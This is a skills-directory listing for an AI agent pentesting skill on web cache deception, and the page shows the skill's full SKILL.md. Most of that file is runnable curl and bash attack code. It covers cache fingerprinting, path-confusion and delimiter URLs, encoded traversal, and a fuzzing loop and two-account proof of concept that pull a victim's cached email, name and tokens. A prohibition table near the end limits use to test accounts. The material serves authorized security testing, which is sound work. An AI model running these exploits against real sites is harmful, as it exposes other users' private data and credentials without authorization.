Skip to content
Back to skills

Khaos Chain Web Cache Deception

ASecurity

Web cache deception — path confusion to cache authenticated responses, extension tricks, URL delimiter abuse, Cloudflare/Varnish/Nginx cache behavior exploitation

  • 6 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added December 5, 2026
ai-agentspythonbashtestingapi

Works with

  • api

Security analysis

A100/100

Pro scans all 2 files and shows the line behind each finding

Scanned December 5, 2026

npx -y skills add henriqqw/Khaos-Pentester-Agent --skill khaos-chain-web-cache-deception --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Khaos Chain Web Cache Deception?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Khaos Chain Web Cache Deception
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/henriqqw-khaos-chain-web-cache-deception-khaos-pentester-agent/badge)](https://www.skillsdirectory.com/skills/henriqqw-khaos-chain-web-cache-deception-khaos-pentester-agent)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: khaos-chain-web-cache-deception
description: Web cache deception — path confusion to cache authenticated responses, extension tricks, URL delimiter abuse, Cloudflare/Varnish/Nginx cache behavior exploitation
metadata:
  khaos:
    stages: [exploitation, validation]
    tool_ids: [httpx, nuclei-dast]
---

# Web Cache Deception Chain

Web cache deception (WCD) differs from cache poisoning: instead of injecting malicious content into the cache, the attacker tricks the cache into storing a victim's private response as a public, cacheable resource. When the attacker then requests the same URL, they receive the victim's private data.

**Key distinction:**
- Cache poisoning: attacker controls what the cache stores (injecting malicious response)
- Cache deception: attacker tricks the cache into storing the victim's private response

## Phase 1: Fingerprint caching behavior

```bash
# Check which paths are cached (look for X-Cache, Age, CF-Cache-Status):
for path in "/static/test.css" "/images/test.png" "/api/user/profile" "/account"; do
  result=$(curl -si "https://target$path" | grep -E "X-Cache:|Age:|CF-Cache-Status:|Cache-Control:")
  echo "$path: $result"
done

# Key headers:
# X-Cache: HIT — cached
# Age: >0 — cached (seconds since cached)
# CF-Cache-Status: HIT/MISS/EXPIRED
# Cache-Control: private — should NOT be cached (but may be anyway)

# Identify the cache layer (affects path traversal behavior):
curl -si "https://target/" | grep -E "Server:|Via:|X-Served-By:|X-Varnish:|Cf-Ray:"
```

---

## Phase 2: Classic path confusion attack

```bash
# Trick: append a static-looking path segment to a private endpoint
# Cache sees /account/profile.css (matches *.css rule → cache it)
# Origin sees /account/profile.css (may strip suffix or ignore it → return /account/profile)

# Step 1 (victim): request the deceptive URL while authenticated
# In a lab with two accounts:
curl -s -b "session=VICTIM_SESSION" "https://target/account/profile.css" -D - | head

# Step 2 (attacker): request the same URL unauthenticated — if cached, receive victim's response
curl -s "https://target/account/profile.css" | grep -i "email\|name\|token\|api_key"

# Common tricks:
# /api/user/me.css
# /dashboard/config.js
# /account/settings.png
# /profile/details.ico
```

---

## Phase 3: URL delimiter abuse

```bash
# Different layers interpret path delimiters differently

# Null byte (some caches stop at %, origin at null byte):
curl -s -b "VICTIM_SESSION" "https://target/api/user/profile%00.css"

# Fragment abuse (#):
# Cache may strip fragment before lookup; origin may not
curl -s -b "VICTIM_SESSION" "https://target/api/user/profile#.css"

# Parameter smuggling:
# Nginx: /api/user/profile;.css — cache keys on /api/user/profile;.css,
# but origin app routes /api/user/profile
curl -s -b "VICTIM_SESSION" "https://target/api/user/profile;.css"
curl -s -b "VICTIM_SESSION" "https://target/api/user/profile?.css"

# Encoded slash (cache decodes, origin doesn't, or vice versa):
curl -s -b "VICTIM_SESSION" "https://target/api/user%2Fprofile.css"
```

---

## Phase 4: Path traversal in cached static assets

```bash
# If /static/images/*.jpg is cached and origin traverses:
# Cache keys: /static/images/../../api/user/profile.jpg
# Origin resolves: /api/user/profile.jpg → returns private endpoint

curl -s -b "VICTIM_SESSION" "https://target/static/images/../../api/user/profile.jpg"

# URL-encoded:
curl -s -b "VICTIM_SESSION" "https://target/static/images/%2E%2E/%2E%2E/api/user/profile.jpg"

# Double-encoded:
curl -s -b "VICTIM_SESSION" "https://target/static/images/%252E%252E/%252E%252E/api/user/profile.jpg"
```

---

## Phase 5: Normalize cache rules (automated discovery)

```bash
#!/bin/bash
# Fuzz path suffixes against authenticated endpoints to find caching mismatches:
TARGET="https://target"
PRIVATE_PATH="/api/user/profile"
SESSION="VICTIM_SESSION"
EXTENSIONS=(".css" ".js" ".png" ".jpg" ".ico" ".gif" ".woff" ".svg" ".xml" ".txt")

for ext in "${EXTENSIONS[@]}"; do
  url="${TARGET}${PRIVATE_PATH}${ext}"
  
  # First request: authenticated (should populate cache)
  r1=$(curl -s -b "session=$SESSION" "$url" -o /tmp/r1.txt -w "%{http_code}")
  
  # Second request: unauthenticated (check if cache served private data)
  r2=$(curl -s "$url" -o /tmp/r2.txt -w "%{http_code}")
  
  # Compare: if r2 file contains private data pattern
  if grep -qi "email\|token\|name\|api_key\|balance" /tmp/r2.txt 2>/dev/null; then
    echo "VULNERABLE: $url (auth=$r1, unauth=$r2)"
    cat /tmp/r2.txt | head -20
  else
    echo "SAFE: $url"
  fi
done
```

---

## Phase 6: Confirm deception with two accounts

```bash
# Definitive proof: victim's private data served to attacker

# Step 1: Get victim's private data via authenticated request (know what to look for)
VICTIM_DATA=$(curl -s -b "session=VICTIM_SESSION" "https://target/api/user/profile" | \
  python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('email',''))")
echo "Victim email: $VICTIM_DATA"

# Step 2: Victim visits deceptive URL (simulate):
curl -s -b "session=VICTIM_SESSION" "https://target/api/user/profile.css" > /dev/null

# Step 3: Attacker retrieves cached response
ATTACKER_GET=$(curl -s "https://target/api/user/profile.css")
echo "Attacker sees: $ATTACKER_GET" | head -5

# Confirm: attacker_get contains victim email
echo "$ATTACKER_GET" | grep "$VICTIM_DATA" && echo "DECEPTION CONFIRMED"
```

---

## ⛔ Prohibition table

| Prohibited | Alternative |
|---|---|
| Testing with real victim accounts | Use two test accounts you control |
| Leaving private data in cache after test | Use cache busters (timestamp param) to invalidate |
| Storing any PII captured from cache | Record that deception is possible; delete captured data |
| Flooding cache with many deceptive URLs | Test one path; confirm and stop |

## ✓ Completion self-check

- [ ] Caching layer identified and default cache rules understood
- [ ] At least one private endpoint identified that returns user-specific data
- [ ] Path confusion URL found that is cached (X-Cache: HIT on second request)
- [ ] Unauthenticated request receives victim's private data
- [ ] Two-account PoC confirms victim's email/token in attacker's response
- [ ] Finding: CWE-525 (Information Exposure Through Browser Caching) — HIGH/CRITICAL

Files in this skill

  • SKILL.md6.2 KB
  • scripts/wcd_probe.py2.7 KB

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in ai-agents →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.